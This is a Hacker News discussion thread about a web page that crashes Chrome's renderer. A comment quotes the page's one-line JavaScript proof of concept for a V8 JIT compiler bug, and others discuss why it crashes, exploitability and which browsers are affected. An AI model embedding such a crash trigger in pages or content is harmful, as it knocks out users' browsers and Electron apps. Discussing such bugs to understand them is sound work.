Web page that crashes the Chrome renderer | Hacker News Reader

Web page that crashes the Chrome renderer

ronsor.github.io

45 pointsronsor35 comments

For anyone curious of the exact page content, it's:

  <!-- JavaScript is cursed
  CREDIT: https://bugs.chromium.org/p/chromium/issues/detail?id=1195650&q=component%3ABlink%3EJavaScript%3ECompiler&can=1 -->
  <script>z=(a)=>{let y = Math.min(Infinity ? [] : Infinity, -0) / 0; if (a) y = -0; return y ? 1 : 0}; z(false); for (let i = 0; i < 0x10000; ++i) z(false);</script>
  <!-- another day, another JIT bug -->

There are a lot of these (at least there used to be) and that's not only about Chrome. Each browser has its own "fuzzer" and generates crashing HTML all the time. Finding these, in a sense, feels more like mining a bitcoin - compute resource matters.

Also, a crash isn't as bad as it appears. Most of the time it's not a security vulnerability. It is only when it involves buffer overrun and the like. They are indeed annoying when you have it in real sites though.

Another place this causes issues is with something like Discord which is based on Electron. There have recently been videos and gifs in circulation which crashes the application if watched.

Crashes are exploitable in many more cases than you'd think, buffer overflows are a minority of them in browsers now.

A relevant snippet from the Chromium project [0]

> Around 70% of our high severity security bugs are memory unsafety problems (that is, mistakes with C/C++ pointers). Half of those are use-after-free bugs.

https://www.chromium.org/Home/chromium-security/memory-safet...

That is right. Note that there are many panic-like intentional crashes caused by various safeguards.

Anyone know why it causes a crash?

I cleaned up the javascript a bit by adding whitespace and more meaningful variable names:

https://gist.github.com/mdesson/b87c51ff4caf7bd4d2f74b52e8d6...

This is really weird. I'm puzzled about two things:

1. Why is there a ternary on the condition that Infinify is truthy ? My instinct is to say that it will always return [], which brings my second point

2. Why is it always using false as an argument ? What is the effect of this on the execution versus just hardcoding it ?

My blind guess is, 0x10000 is there for jit to kick in. It likely exploits edge cases in code generation (flow control optimization specifically).

> 0x10000 is there for jit to kick in

Correct. Only functions that are called often will get optimized.

I have tried moving the boolean into the function, as a hard-coded variable. That stops the "crashing"; weird, indeed.

Just a guess: sneak a divide-by-zero error into TurboFan? If the function runs once correctly in the Ignition interpreter (the first z(false), then when it's in a loop, run it through TurboFan thinking it's safe.

I tried looking at the bytecode, quite large:

node --print-bytecode --eval "z=(a)=>{let y = Math.min(Infinity ? [] : Infinity, -0) / 0; if (a) y = -0; return y ? 1 : 0}; z(false); for (let i = 0; i < 0x10000; ++i) z(false);"

Interesting! After refreshing a few times I half-expected to inspect the source and see that it's some sort of clever mimic of the chrome crash page - but no! a proper crash, thanks javascript

`-0` strikes[1] again[2]

[1] https://bugs.chromium.org/p/chromium/issues/detail?id=119565...

[2] https://bugs.chromium.org/p/project-zero/issues/detail?id=17...

On Firefox Font sized greater than 13,000 points would eventually crashed browser. Basically OOM.

It certainly tried to render it though.

Produced a lively discussion on how to fix it.

Yep. Crashes brave as well (makes sense since it's chrome based)

Opera gives a 'crashed' response. Edge (chromium) gives the more ambiguous "this page is having a problem" rather than admitting the crash.

And Microsoft's Edge too.

Doesn't crash Firefox though!

Blank page on safari on iPhone, but no crash.

Is that surprising?

No, but nobody else had posted at the time, and frankly, I didn't know what would happen, so I shared. Maybe there was supposed to be content - I didn't know.

Does anyone know of of an exhaustive visual test case for browser renderer?

used to be these: https://www.acidtests.org/

ACID3 is still not showing correct colours in Firefox.

There was a point where it did, however the standards have changed.

Sort of, but larger scope: https://web-platform-tests.org/

Strange that IE can handle it, no console errors or warnings. The head and body tags are empty on the page, so a blank render is expected

do you mean edge? otherwise i wouldn't see why it's strange. does edge not use the same JIT for javascript? (assuming you do mean that)

Not surprising given than IE is an entirely different codebase from Chrome or its derivatives.

Firefox, pre-Chromium Opera and every other browser that isn't derived from Chrome --- including those that plain don't support JS at all --- are unaffected too.

This is a good example for why browser diversity is a good thing.

What about amazon? Chrome is really slow for amazon sometimes... the javascript hangs the page.

That's an Amazon problem. Nothing new, most websites have an order of magnitude more JS than needed.

Fair enough, although I have all unnecessary javascript turned off (using uMatrix). It's probably still amazon's problem, but how is nobody else experiencing such an awful experience and why is it only a problem on chrome?

Call me what you want, but when they started to embed scripts in web pages, I immediately thought that this was a very bad idea.

I still think it is, I still use script blockers all the time, and I still think that a webpage that doesn't display anything with scripts disabled is seriously broken.

Reply on news.ycombinator.com